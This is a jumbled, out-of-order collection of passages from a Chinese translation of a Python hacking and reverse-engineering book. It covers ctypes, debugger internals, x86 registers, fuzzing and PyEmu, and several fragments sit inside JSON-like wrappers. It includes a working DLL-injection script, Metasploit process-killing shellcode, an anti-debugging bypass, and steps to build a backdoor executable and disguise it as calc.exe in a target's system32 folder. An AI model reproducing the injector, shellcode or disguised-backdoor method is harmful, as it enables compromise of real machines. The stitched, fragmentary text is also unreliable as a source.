the beer vat: 66 Barley amount as a long: 66 Barley amount as an int: 66 Barley amount as a char: B C:\\Python25> _______________________________________________________________________________ 给联合赋一个值就能得到三种不同的表现方式。最后一个 barley_char 输出的结果是 B， 因为 66 刚好是 B 的 ASCII 码。 barley_char 成员同时也是个数组， 一个八个字符大小的数组。在 ctypes 中申请一个数组， 只要简单的将变量类型乘以想要申请的数量就可以了。 一切就绪，开始我们的旅程吧！ 序 Integer Overflows 整数溢出是一种非常有趣的漏洞，包括程序如何处理（编译器标准的）有符号整数和 exploit 如何利用这个整数。一个有符号整数，由 2 个字节组成，表示的范围从 -32767 到 32767。当我们从尝试向存储一个整数的地方写入超过其大小的数字的时候，整数溢出就触 发了。因为存如的数字太大，处理器会自动的将高位多出来的字节丢弃。初看起来，好像没 什么值得利用的。下面让我们看一个设计好的例子： MOV EAX, [ESP + 0x8] LEA EDI, [EAX + 0x24] PUSH EDI CALL msvcrt.malloc 第一条指令将栈内的数据[esp+0x8]传给 EAX，第二条指令，将 EAX 加上 0x24 这个地 址存储在 EDI 中。之后我们将这个唯一的参数(申请的内存的大小)传入函数 malloc。一切看 起来都很正常，真的是这样吗？假设在栈中的数据是一个有符号整数，而且非常大，几乎接 近了有符号整数的最大值（ 32767），然后传递给 EAX，EAX 加上 0x24,整数溢出，最后我 们得到一个非常小的值。看一看表 8-1，看看这一切是如何发生的，假定在堆上的参数是我 们能够控制的，我们给它设置成一个非常大的值 0xFFFFFFF5。 Stack Parameter => 0xFFFFFFF5 Arithmetic Operation => 0xFFFFFFF5 + 0x24 Arithmetic Result => 0x100000019 (larger than 32 bits) Processor Truncates => 0x00000019 Listing 8-1:在控制下的整数操作 如何一切顺利，malloc 将只申请 0x19 个字节大小的空间，这块内存比程序本身要申请 的空间小很多。如果程序将一大块的数据写入这块区域，缓冲区溢出就发生了。在 fuzzing 的时候，我们得从整形最大值和最小值两个方面入手，测试执行溢出，接下来就是设法进一 步控制溢出，使溢出变得更完美。 下面让我们快速的看一看另一种常见漏洞，格式化字符串漏洞 Format String Attacks。 8.1.3 序 In C _______________________________________________________________________________ struct beer_recipe { int amt_barley; int amt_water; }; _______________________________________________________________________________ In Python _______________________________________________________________________________ class beer_recipe(Structure): _fields_ = [ (\"amt_barley\", c_int), (\"amt_water\", c_int), ] _______________________________________________________________________________ 如你所见，ctypes 很简单的就创建了一个 C 兼容的结构。 联合和结构很像。但是联合中所有变量同处一个内存地址，只占用一个变量的内存空间， 这个空间的大小就是最大的那个变量的大小。这样就能够将联合作为不同类型的变量操作访 问了。 序 chapt ap er1-unions"},
    {"text": "在一个进程里载入 DLL 需要使用 LoadLibrary()函数（由 kernel32.dll 导出）。 函数原型 如下： HMODULE LoadLibrary( LPCTSTR lpFileName ); lpFileName 参数为 DLL 的路径。 我们需要让目标调用 LoadLibraryA 加载我们的 DLL。 首先解析出 LoadLibraryA 在内存中的地址，然后将 DLL 路径传入。 实际操作就是使用 CreateRemoteThread()，lpStartAddress 指向 LoadLibraryA 的地址，lpParameter 指向 DLL 路 径。 当 CreateRemoteThread()执行成功，就像目标进程自己调用 LoadLibraryA 加载了我们的 DLL。"},
    {"text": "#dl #d l_injector.py import sys from ctypes import * PAGE_READWRITE = 0x04 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = sys.argv[1] dll_path = sys.argv[2] dll_len = len(dll_path) # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print \"[*] Couldn't acquire a handle to PID: %s\" % pid sys.exit(0) # Allocate some space for the DLL path arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_ME PAGE_READWRITE) # Write the DLL path into the allocated space written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) # We need to resolve the address for LoadLibraryA h_kernel32 = kernel32.GetModuleHandleA(\"kernel32.dll\") h_loadlib = kernel32.GetProcAddress(h_kernel32,\"LoadLibraryA\") # Now we try to create the remote thread, with the entry point set # to LoadLibraryA and a pointer to the DLL path as its single parameter thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)): print \"[*] Failed to inject the DLL. Exiting.\" sys.exit(0) print \"[*] Remote thread with ID 0x%08x created.\" % thread_id.value 第一步，在目标进程内申请足够的空间，用于存储 DLL 的路径。"},
    {"text": "/* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152 Encoder=None http://metasploit.com */ unsigned char scode[] = \"\\xfc\\xe8\\x44\\x00\\x00\\x00\\x8b\\x45\\x3c\\x8b\\x7c\\x05\\x78\\x01\\xef\\x8b\" \"\\x4f\\x18\\x8b\\x5f\\x20\\x01\\xeb\\x49\\x8b\\x34\\x8b\\x01\\xee\\x31\\xc0\\x99\" \"\\xac\\x84\\xc0\\x74\\x07\\xc1\\xca\\x0d\\x01\\xc2\\xeb\\xf4\\x3b\\x54\\x24\\x04\" \"\\x75\\xe5\\x8b\\x5f\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5f\\x1c\\x01\\xeb\" \"\\x8b\\x1c\\x8b\\x01\\xeb\\x89\\x5c\\x24\\x04\\xc3\\x31\\xc0\\x64\\x8b\\x40\\x30\" \"\\x85\\xc0\\x78\\x0c\\x8b\\x40\\x0c\\x8b\\x70\\x1c\\xad\\x8b\\x68\\x08\\xeb\\x09\" \"\\x8b\\x80\\xb0\\x00\\x00\\x00\\x8b\\x68\\x3c\\x5f\\x31\\xf6\\x60\\x56\\x89\\xf8\" \"\\x83\\xc0\\x7b\\x50\\x68\\xef\\xce\\xe0\\x60\\x68\\x98\\xfe\\x8a\\x0e\\x57\\xff\" \"\\xe7\\x74\\x61\\x73\\x6b\\x6b\\x69\\x6c\\x6c\\x20\\x2f\\x50\\x49\\x44\\x20\\x41\" \"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x00\"; Listing 7-1:由 Metasploit 产生的 Process-killing shellcode 生成的 shellcode 的时候记得选中 Restricted Characters 文本框以清除 0x00 字节，同时 Encoder 框设置成默认编码。"},
    {"text": "序 _____________________________________________________________________ 栈框架的结构将如图 2-1。 图 2-1: my_socks() 函数调用的栈结构 如你所见，这是一个非常简单的数据结构，同时也是所有程序中函数调用的基础。当 my_sock()函数返回的时候，它会弹出栈里所有的参数（返回地址弹到 EIP） ，然后跳到返回 地址(Return address)指向的地方（父函数的代码段）继续执行。另一个需要考虑的概念就是 本地函数。把我们的 my_socks()函数扩展一点，让我们假定函数被调用后做的第一件事就是 申请一个字符串数组，将参数 color_one 复制到数组里。代码应该像这样： ____________________________________________________________________ int my_socks(color_one, color_) { char stinky_sock_color_on[10]; ... } 函数将在棧里申请 stinky_sock_color_on 变量的空间，以便在栈里调用（当然会随着函 数的执行完毕而释放，不过在函数内部访问时，效率会高很多）。申请成功以后，堆栈的结 构将像图 2-2 看到的这样。 Figure 2-2: 在 stinky_sock_color_one 申请后的栈框架 现在你到了本地函数是如何在棧里申请的以及栈指针是如何不断的增长指向栈顶 的。调试器对堆栈结构的捕捉能力是相当有用的，特别是在我们捕捉程序崩溃，跟踪调查基 于栈的缓冲区溢出的时候。"},
    {"text": "序 灰帽 Python 之旅 序 曾经我花了很长的时间，寻找一门适合 hacking 和逆向工程的语言。几年前，终于让我 发现了 Python，而如今它已经成为了黑客编程的首选。不过对于 Python 的在 hacking 应用 方面一直缺少一本详实的手册。当我们用到问题的时候，不得不花很多时间和精力去阅读论 坛或者用户手册，然后让我们的代码运行起来。这本书的目标就是提供给各位一本强大的 Python Hack 手册，让大家在 hacking 和逆向工程中更加得心应手。 在阅读此书之前，假设大家已经对各种黑客工具，技术(调试器，后门，fuzzer，仿真器， 代码注入)都有一个理论上的认识。我们的目的是不仅仅会使用各种基于 Python 编写的工具， 还要能够自定和编写自己的工具。一本书是不可能介绍完所有的的工具和技术的，但我们是 对一些常用的技术，进行详细的解说，而这些技术都是一通百通的，在以后的安全开发中， 大家只要灵活应用就行了。 这是本手册类的书籍，所以阅读的时候不一定从头到尾。如果你是一个 Python 新手， 建议把全书都阅览一遍，因为你会学到很多必要的 hack 原理和编程技巧，便于以后的完成 各种复杂的任务。如果你已经对 Python 很熟悉，并且对 ctypes 库也很了解了，那就可以跳 过第二章。当然，你也可以只是当当看其中感兴趣的一章，每章的代码都做了详实的解释。 我花了很多事件讲解调试器，因为调试器就似乎 hacker 的手术刀:从第二章调试原理， 第五章 Immunity 的应用和扩展，到第六章和第七章的 hooking 以及注入技术的介绍(用于内 存的控制和处理)。 本书的第二部分就是对 fuzzers 的介绍。第八章会讲解基础的 fuzzer 原理，并且构建一 个简单的 file fuzzer。第九章，介绍强大的 Sulley fuzzing 框架，并且使用它 fuzz 一个真正 的 FTP 服务器。第十章，学习构建一个 Windows 驱动 fuzzer。 第十一章，介绍 IDA(最常用的静态反汇编工具)的 Python 扩展。十二章，详细讲解 PyEmu，一个基于 Python 的仿真器。 本书的所有代码都尽量保持简短，在关键的地方都做了详细的解说。学习一门新的语言 或一个新的库，都需要花费事件和精力。所以建议各位自己手写代码。所有的源码可以在 http://www.nostarch.com/ghpython.htm 找到。 Now let’s get coding! 陆陆续续花了两个月时间，终于初步完成了 gray python 的翻译。对自己的英文和技术 的提高是最让我欣慰的。还有还有很多需要改进的地方，不过苦于时间不许，遂无法进一步 完成。 将此书献给我的家人，尤其是我的母亲，是她的坚韧和聪慧，让我的人生变得不同。我 的伙伴们---自由之光的所有队员(眉宇间，codeblue，小龙，。。。)，以及曾经教育和指引过我 的老师，还有那些默默奉献分享自己技术的 hacker 们。 岁月如梭，那些在学生时代的激情岁月，那些永远不知疲倦的夜晚，无数的汗水和青春 已经消逝在岁月的长河里。只有对技术和极限的自由追求，不曾变过。 为自由和理想而战----天国之翼[自由之光] 个人简介: 网名:天国之翼[自由之光] , winger 年龄:20-30 编程语言:asm，c，python 就读过的学校：集美大学 专业:网络系统管理 工作:自由安全工作者，secoder(security coder) 网址:hi.baidu.com/freewinge 联系方式:free.winger at gmail.com 爱好:搏击，修禅，音乐，电影 最爱吃的东西：老爹的手擀面 自由之光----一个追求技术自由和个人极限的安全团队。起源于集美大学。 1 搭建开发环境 在即将开始令人兴奋的 Python Hack 之前，让我们先花一 点点事件准备好自己的工具。相信我这样做是值得的，它会让你 玩的更快乐。 这章我们会简单的讲解，Python2.5 的安装，Eclipse 配置，以及如何编写 C 兼容的 Python 代码。 1.1 操作系统准备 就逆向的趣味性而言，Windows 是最好的目标。无数的工具和广泛的使用人群，使得代 码开发和 Crack 都变得更容易，所以本书的大部分代码都基于 Windows(任何你能搞的到的 Windows 版本)。 少部分例子也能运行在 32 位的 Linux 上。无论是安装在 VMware(VMware 提供免费版 本,不同为版权担心)上还是实机上，都行。Linux 版本众多，本书推荐基于 Red Hat 的发布平 台:Fedora Core 7 or Centos 5。 免费的 VMWA MW RE 镜像 VMware 在网站上提供了免费的版本。这些虚拟机用于逆工程，漏洞分析，或者任何 程序的调试，同时和主机完全独立开来。 主程序下载链接:http://www.vmware.com/appliances/， Pyayer 程序下载链接:http://www.vmware.com/products/player/。 1.2 获取和安装 Python2.5 Linuxer 可以跳过这个步骤，大部分 Linux 都内置了 Python。Windows 下可以通过独立 的安装包进行安装。 1.2.1 在 Wi W ndows 上安装 Python Windows 的安装版本可以从 Python 主页上下载 http:// python.org/ftp/python/2.5.1/python-2.5.1.msi。双击，一步一步的按指示安装就行。在默认的 主目录 C:/Python25/下，安装了 python.exe 和默认的库。 提示 建议大家安装 Immunity 调试器，其包含了很多必须的附加程序，其中就有 Python 2.5 。 在 后 面 的 章 节 中 ， 我 们 也 会 使 用 到 Immunity 。 下 载 页 面 http://debugger.immunityinc.com/(要用代理还要填写些资料)。"},
    {"text": "序 py2exe py2exe 是一个非常方便的 Python 库，能够将 Python 脚本编译成完全独立的 Windows 执行程序。记得在下面的操作都是基于 Windows 平台，Linux 平台内置 Python。py2exe 安 装完成后，你就能够在脚本中使用他们了。在这之前先看看调用它们。 #setup.py # Backdoor builder from distutils.core import setup import py2exe setup(console=['backdoor.py'], options = {'py2exe':{'bundle_files':1}}, zipfile = None, ) 很好很简单。仔细看看我们传入 setup 的函数。第一个，console 是我们要编译的 Python 脚本。 options 和 zipfile 参数设置为需要打包的 Python DLL 和所有别的依赖的库。这样我 们的后门就能在任何没有安装 python 的 windlws 系统上使用了。确保 my_debugger_defines.py, backdoor.py, 和 setup.py 文件在相同的目录下。在命令行下输入以下命令，编译脚本。 python setup.py py2exe 在编译完成后，在目录下会看到多出两个目录，dist 和 build。在 dist 文件夹下可以找到 backdoor.exe。重命名为 calc.exe 拷贝到目标系统，并将目标系统的 calc.exe 从 C:\\WINDOWS\\system32\\ 拷贝到别的 目录(比如 C:\\ folder)。将我们的 calc.exe 复制到 C:\\WINDOWS\\system32\\ 目录下。现在我们 还需要一个简单的 shell 接口，用来和反弹回来的 shell 交互，发送命令，接收结果。 #bac #b k ac door_s"},
    {"text": "有一点很重要，我们本质上是在 深入的学习 PyDbg(Pedram Amini’s )的使用，这是目前能找到的最简洁的 Windows 平台下 的 Python 调试器 。 拜 Pedram 所赐，我尽可能用 PyDbg 完成了我的代码（包括函数名，变 量，等等），同时你也可以更容易的用 PyDbg 实现你的调试器。"},
    {"text": "为了对一个进程进行调试，你首先必须用一些方法把调试器和进程连接起来。 所以，我 们的调试器要不然就是装载一个可执行程序然后运行它，要不然就是动态的附加到一个运行 的进程。"},
    {"text": "一个 CreateProcessA()调用看起来像这样： BOOL WINAPI CreateProcessA( LPCSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ); 初看这个调用相当恐怖，不过，在逆向工程中我们必须把大的部分分解成小的部分以便 理 解 。"},
    {"text": "最 后 两 个 参 数 分 别 分 别 指 向 2 个 结 构 (STARTUPINFO and PROCESS_INFORMATION) ，不仅包含了进程如何启动，以及启动后的许多重要信息 。 （ lpStartupInfo ： STARTUPINFO 结 构 ， 用 于 在 创 建 子 进 程 时 设 置 各 种 属 性 ， lpProcessInformation：PROCESS_INFORMATION 结构，用来在进程创建后接收相关信息 ， 该结构由系统填写。"},
    {"text": "另 外 ， 把 所 有 的 结 构 ， 联 合 ， 常 量 放 到 my_debugger_defines.py 方便以后维护。 # my_debugger_defines.py from ctypes import * # Let's map the Microsoft types to ctypes for clarity WORD = c_ushort DWORD = c_ulong LPBYTE = POINTER(c_ubyte) LPTSTR = POINTER(c_char) HANDLE = c_void_p # Constants DEBUG_PROCESS = 0x00000001 CREATE_NEW_CONSOLE = 0x00000010 # Structures for CreateProcessA() function class STARTUPINFO(Structure): _fields_ = [ (\"cb\", DWORD), (\"lpReserved\", LPTSTR), (\"lpDesktop\", LPTSTR), (\"lpTitle\", LPTSTR), (\"dwX\", DWORD), (\"dwY\", DWORD), (\"dwXSize\", DWORD), (\"dwYSize\", DWORD), (\"dwXCountChars\", DWORD), (\"dwYCountChars\", DWORD), (\"dwFillAttribute\",DWORD), (\"dwFlags\", DWORD), (\"wShowWindow\", WORD), (\"cbReserved2\", WORD), (\"lpReserved2\", LPBYTE), (\"hStdInput\", HANDLE), (\"hStdOutput\", HANDLE), (\"hStdError\", HANDLE), ] class PROCESS_INFORMATION(Structure): _fields_ = [ (\"hProcess\", HANDLE), (\"hThread\", HANDLE), (\"dwProcessId\", DWORD), (\"dwThreadId\", DWORD), ] # my_debugger.py from ctypes import * from my_debugger_defines import * kernel32 = windll.kernel32 class debugger(): def __init__(self): pass def load(self,path_to_exe): # dwCreation flag determines how to create the process # set creation_flags = CREATE_NEW_CONSOLE if you want # to see the calculator GUI creation_flags = DEBUG_PROCESS # instantiate the structs startupinfo = STARTUPINFO() process_information = PROCESS_INFORMATION() # The following two options allow the started process # to be shown as a separate window. This also illustrates # how different settings in the STARTUPINFO struct can affect # the debuggee. startupinfo.dwFlags = 0x1 startupinfo.wShowWindow = 0x0 # We then initialize the cb variable in the STARTUPINFO struct # which is just the size of the struct itself startupinfo.cb = sizeof(startupinfo) if kernel32.CreateProcessA(path_to_exe, None, None, None, None, creation_flags, None, None, byref(startupinfo), byref(process_information)): print \"[*] We have successfully launched the process!\" print \"[*] PID: %d\" % process_information.dwProcessId else: print \"[*] Error: 0x%08x.\" % kernel32.GetLastError() 现在我们将构造一个简短的测试模块确定一下一切都能正常工作。 调用 my_test.py，保 证前面的文件都在同一个目录下。 #my_test.py import my_debugger debugger = my_debugger.debugger() debugger.load(\"C:\\\\WINDOWS\\\\system32\\\\calc.exe\") 如果你是通过命令行或者 IDE 手动输入上面的代码，将会新产生一个进程也就是你键 入程序名，然后返回进程 ID（PID），最后结束。"},
    {"text": "为了附加到指定的进程，就必须先得到它的句柄。 许多后面将用到的函数都需要句柄做 参数，同时我们也能在调试之前确认是否有权限调试它（如果附加都不行，就别提调试了）。"},
    {"text": "这个任务由 OpenProcess()完成，此函数由 kernel32.dll 库倒出，原型如下： HANDLE WINAPI OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle DWORD dwProcessId ); dwDesiredAccess 参数决定了我们希望对将要打开的进程拥有什么样的权限（当然是 越 大 越 好 root is hack ）。"},
    {"text": "函数原型如下： BOOL WINAPI WaitForDebugEvent( LPDEBUG_EVENT lpDebugEvent, DWORD dwMilliseconds ); 第一个参数指向 DEBUG_EVENT 结构，这个结构描述了一个调试事件。 第二个参数设 置成 INFINITE（无限等待），这样 WaitForDebugEvent() 就不用返回，一直等待直到一个事 件产生。"},
    {"text": "当 处 理 函 数 完 成 了 操 作 ， 我 们 希 望 进 程 继 续 执 行 用 ， 这 时 候 再 调 用 ContinueDebugEvent()。 原型如下： BOOL WINAPI ContinueDebugEvent( DWORD dwProcessId, DWORD dwThreadId, DWORD dwContinueStatus ); dwProcessId 和 dwThreadId 参数由 DEBUG_EVENT 结构里的数据填充，当调试器捕捉 到调试事件的时候，也就是 WaitForDebugEvent()成功执行的时候，进程 ID 和线程 ID 就以 及初始化好了。 dwContinueStatus 参数告诉进程是继续执行(DBG_CONTINUE)，还是产生异 常(DBG_EXCEPTION_NOT_HANDLED)。"},
    {"text": "打开 my_debugger.py 键入以下代码。 提示：所有需要的结构,联合和常量都定义在了 debugger_defines.py 文件里，完整的代码可 以从 http://www.nostarch.com/ghpython.htm 下载。 #my_debugger.py from ctypes import * from my_debugger_defines import * kernel32 = windll.kernel32 class debugger(): def __init__(self): self.h_process = None self.pid = None self.debugger_active = False def load(self,path_to_exe): ... print \"[*] We have successfully launched the process!\" print \"[*] PID: %d\" % process_information.dwProcessId # Obtain a valid handle to the newly created process # and store it for future access self.h_process = self.open_process(process_information.dwProcessId) ... def open_process(self,pid): h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS,pid,False) return h_process def attach(self,pid): self.h_process = self.open_process(pid) # We attempt to attach to the process # if this fails we exit the call if kernel32.DebugActiveProcess(pid): self.debugger_active = True self.pid = int(pid) self.run() else: print \"[*] Unable to attach to the process.\" def run(self): # Now we have to poll the debuggee for # debugging events while self.debugger_active == True: self.get_debug_event() def get_debug_event(self): debug_event = DEBUG_EVENT() continue_status= DBG_CONTINUE if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE): # We aren't going to build any event handlers # just yet. Let's just resume the process for now. raw_input(\"Press a key to continue...\") self.debugger_active = False kernel32.ContinueDebugEvent( \\ debug_event.dwProcessId, \\ debug_event.dwThreadId, \\ continue_status ) def detach(self): if kernel32.DebugActiveProcessStop(self.pid): print \"[*] Finished debugging. Exiting...\" return True else: print \"There was an error\" return False 现在让我们修改下测试套件以便使用新创建的函数。 #my_test.py import my_debugger debugger = my_debugger.debugger() pid = raw_input(\"Enter the PID of the process to attach to: \") debugger.attach(int(pid)) debugger.detach() 按以下的步骤进行测试（windows 下）： 1. 选择 开始->运行->所有程序->附件->计算器 2. 右击桌面低端的任务栏，从退出的菜单中选择任务管理器。"},
    {"text": "如果一切都如描绘的一样正常工作，把下面两行从 my_debugger.py 中注释掉： # raw_input(\"Press any key to continue...\") # self.debugger_active = False 现在我们已经讲解了获取进程句柄的基础知识，以及如何创建一个进程，附加一个运行 的进程，接下来让我们给调试器加入更多高级的功能。"},
    {"text": "要实现这个目的，首先要获取被调试目标内部的线程句柄，这个功能由 OpenThread()实现. 函数原型如下: HANDLE WINAPI OpenThread( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId ); 这看起来非常像 OpenProcess()的姐妹函数，除了这次是用线程标识符（thread identifier TID） 提到了进程标识符（PID）。 我们必须先获得一个执行着的程序内部所有线程的一个列表，然后选择我们想要的，再 用 OpenThread() 获 取 它 的 句 柄 。"},
    {"text": "序 In C int my_socks(color_one color_two, color_three); In x86 Assembly push color_three push color_two push color_one call my_socks 这个例子里，参数传递的顺序也是从右到左，不过栈的平衡处理由函数 my_socks 自己完成，而不是调用者。 最后一点，这两种调用方式的返回值都存储在 EAX 中。 下面做一个简单的试验，直接从 C 库中调用 printf()函数打印一条消息，Windows 中的 C 库 位于 C:\\WINDOWS\\system32\\msvcrt.dll，Linux 中的 C 库位于/lib/libc.so.6。 chapter1-printf.py Code on Wi 序 5.4.1 IsDebuggerPresent 现在最常用的反调试机制就是用 IsDebuggerPresent（由 kernel32.导出）。函数不需要参 数，如果发现有调试器附加到当前进程，就返回 1，否则返回 0.如果我们反汇编这个函数： 7C813093 >/$ 64:A1 18000000 MOV EAX,DWORD PTR FS:[18] 7C813099 |. 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30] 7C81309C |. 0FB640 02 MOVZX EAX,BYTE PTR DS:[EAX+2] 7C8130A0 \\. C3 RETN 代码通过不断的寻址找到能证明进程被调试的数据位，第一行， 通过 FS 寄存器的第 0x18 位找到 TIB（线程信息块）的地址。第二行通过 TIB 的第 0x30 位找到 PEB(进程环境信息块) 的地址。第三行将 PEB 的 0x2 位置上的 BeingDebugged 变量存在 EAX 寄存器中，如果有调 试器附加到进程，该值为 0x1。Damian Gomez 提供了一个简单的方式绕过 IsDebuggerPresent， 可以很方便的在 Immunity 执行，或者在 PyCommand 中调用。 imm.writeMemory( imm.getPEBaddress() + 0x2, \"\\x00\" ) 上 面 的 代 码 将 PEB 的 BeingDebugged 标 志 就 当 的 设 置 成 0. 现 在 病 毒 无 法 使 用 IsDebuggerPresent 来判断了调试器了，它傻了。 序 1.3.3 构造 C 数据类型 使用 Python 创建一个 C 数据类型很简单，你可以很容易的使用由 C 或者 C++些的组件。 Listing 1-1 显示三者之间的对于关系。 _______________________________________________________________________________ C Type Python Type ctype"},
    {"text": "当我们很难得到源代码的时候，开发者，逆向工程师， Hacker 就会应用黑盒调试跟 踪目标程序。 黑盒调试中，被测试的软件对黑客来说是不透明的，唯一能看到的就是反汇编 代码。"},
    {"text": "智能调试体现在强大可扩展性上，常常通过脚本或者别的方式对调试器进行进一步的开发利 用，比如安装钩子函数，以及其他的专门为 Hacker 和逆向工程师专门定制的各种功能。"},
    {"text": "在这章，我们将把注意力集中在 x86 平台下的用户模式，通过对 CPU 体系结构，(堆) 栈以及调试器的底层操作细节的深入探究，理解调试器的工作原理，为实现我们自己的调试 器打下基础。"},
    {"text": "前面我们说了，函数的返回值也是存储在 EAX 寄存器里。 这一点很重要，因为通过返 回的 EAX 里的值我们可以判断函数是执行成功与否，或者得到确切返回值。"},
    {"text": "这个寄存器从本质上来说是 EAX 寄存器的延伸， 它辅助 EAX 完成更多复杂的计算操作像乘法和除法。 它虽然也能当作通用寄存器使用，不 过更多的是结合 EAX 寄存器进行计算操作。"},
    {"text": "ECX 寄存器，也叫做计数寄存器，用于循环操作，比如重复的字符存储操作，或 者数字统计。 有一点很重要，ECX 寄存器的计算是向下而不是向上的（简单理解就是用于 循环操作时是由大减到小的）。"},
    {"text": "看一下下面的 Python 片段： _______________________________________________________________________________ counter = 0 while counter < 10: print \"Loop number: %d\" % counter counter += 1 _______________________________________________________________________________ 如果你把这代码转化成汇编代码，你会看到第一轮的时候 ECX 将等于 10，第二轮 的时候等于 9，如此反复知道 ECX 减少到 0。"},
    {"text": "序 8 FUZZING Fuzzing 一直以来都是个热点话题，因为使用它能非常高 效的寻找出软件的漏洞。简单的说， Fuzzing 就是向目标程序发 送畸形或者半畸形的数据以引发错误。这一章，让我们先了解几 个不同类型的 fuzzer 还有 bug ，之后我们还要自己动手写实现一 个 file fuzzer 。下一章，会详细的介绍 Sulley fuzzing 框架和如何设计一个针对 Windows 驱动的 fuzzer。 fuzzers 基本上分成 2 大类：generation（产生） 和 mutation（变异） 。Generation fuzzers 创建数据，然后发送到到目标程序，mutation fuzzers 并不创建数据，而是截获程序接收的 数据，然后修改数据。 举个例子，当我们要 fuzz 一个 web 服务器的时候，generation fuzzer 会生成一套变形的 Http 请求然后发送给 web 服务器，而 mutation fuzzer 会捕获 Http 请求， 在请求传递给 web 服务器前修改它们。 为了将来我们创建创建一个高效的 fuzzer，我们需要先对不同类型的 bug 做一个简单的 了解，并且看看 fuzzer 如何触发它们。如果要更详细的了解软件安全检测，可以看下面的书。 8.1Bug 的分类 当 hacker 或者逆向工程师分析软件漏洞的时候，都会设法找到能控制程序执行的 bug。 Fuzzer 就提供了一种自动化的方式帮助我们找出 bug，然后获得系统的控制权，提升权限， 并且偷取程序访问的信息，不论目标程序是在系统独立运行的进程，还是只运行脚本的网络 程序。在这里我们关注的是独立运行的进程，以及其泄漏的信息。 序 7.1 创建远线程 两 种 注 入 虽 然 在 基 础 原 理 上 不 同 ， 但 是 实 现 的 方 法 差 不 多 ： 创 建 远 线 程 。 这由 CreateRemoteThread()完成，同样由由 kernel32.dll 导出。原型如下: HANDLE WINAPI CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); 别被这么多参数吓着，它们很多通过名字就能知道什么用。第一个参数，hProcess 就是 将要注入的目标进程的句柄。lpThreadAttributes 参数就是创建的线程的安全描述符，其中 的数值决定了线程是否能被子进程继承。在这里只要简单的设置成 NULL，将会得到一个不 能继承的线程句柄，和一个默认的安全描述符。 dwStackSize 参数表示新线程的栈大小，在 这里简单的设置成 0，表示设置成进程默认的大小。下一次参数是最重要的： lpStartAddress， 也就是新线程要执行的代码在内存中的哪个位置。lpParameter 和上一个参数一样重要，不 过 提 供 的 是 一 个 指 针 ， 指 向 一 块 内 存 区 域 ， 里 头 的 数 据 就 是 传 递 给 新 线 程 的 参 数 。 dwCreationFlags 决定了线程如何开始。这里我们设置成 0，表示在线程创建后立即执行。更 多详细的介绍看 MSDN。最后一个参数 lpThreadId 在线程创建成功后填充为新线程的 ID。 知道了参数的作用，让我们看看如何将 DLL 注入到目标进程，以及 shellcode 的注入。 两种远线程创建，有些许的不同，所以分开来说。"},
    {"text": "序 12.2.6.6 Me M mory 处理函数 Memory handlers 内存处理函数用于跟踪特定地址的数据访问。它能让我们很方便的跟 踪缓冲区中感兴趣的数据以及全局变量的改变过程。安装过程如下： set_memory_handler( address, memory_handler ) set_memory_handler( 0x12345678, my_memory_handler ) address 简单传入我们想要观察的内存地址， my_memory_handler 就是我们的处理函 数。函数原型如下： def memory_handler( emu, address, value, size, type ) 第二个参数 address 为发生内存访问的地址，value 是被读取或者写入的数据，size 是数 据的大小，type 告诉我们这次操作读还是写。 12.2.6.7 High-Level Me M mory 处理函数 High-Level Memory Handlers 高级内存处理函数，很高级很强大。通过安装它们，我们 就能监视这个内存快（包括栈和堆）的读写。这样就能全面的控制内存的访问，是不是很邪 恶。安装方式如下： set_memory_write_handler( memory_write_handler ) set_memory_read_handler( memory_read_handler ) set_memory_access_handler( memory_access_handler ) set_stack_write_handler( stack_write_handler ) set_stack_read_handler( stack_read_handler ) set_stack_access_handler( stack_access_handler ) set_heap_write_handler( heap_write_handler ) set_heap_read_handler( heap_read_handler ) set_heap_access_handler( heap_access_handler ) 所有的这些安装函数只要简单的提供一个处理函数就可以了，任何内存的变动都会通知 我们。处理函数的原型如下： def memory_write_handler( emu, address ): def memory_read_handler( emu, address ): def memory_access_handler( emu, address, type ): memory_write_handler 和 memory_read_handler 只是简单的接收 PyEmu 实例和发生读写 的地址。第三个 access handler 多了一个 type 用于说明这次不做到的是读数据还是些数据。 栈和堆的处理函数和上面的一样，不做解说。 12.2.6.8 Program Counter 处理函数 The program counter handler 程序计数器处理函数，将在程序执行到特定地址的时候触 发。安装过程如下： set_pc_handler( address, pc_handler ) set_pc_handler( 0x12345678, 12345678_pc_handler ) address 为我们将要监视的地址，一旦 CPU 执行到这就会触发我们的处理函数。处理 函数的原型如下： def pc_handler( emu, address ): 第二个参数 address 为被捕捉到的地址。 现在我们已经讲解完了，PyEmu 的基础知识。是时候将它们用于实际工作中了。接下 来会进行两个实验。第一个使用 IDAPyEmu 在 IDA Pro 模拟一个简单的函数调用。第二个 实验使用 PEPyEmu 解压一个被 UPX 压缩过的（伟大的开源压缩程序）二进制文件。 序 In Python _______________________________________________________________________________ class beer_recipe(Structure): _fields_ = [ (\"amt_barley\", c_int), (\"amt_water\", c_int), ] _______________________________________________________________________________ 如你所见，ctypes 很简单的就创建了一个 C 兼容的结构。 联合和结构很像。但是联合中所有变量同处一个内存地址，只占用一个变量的内存空间， 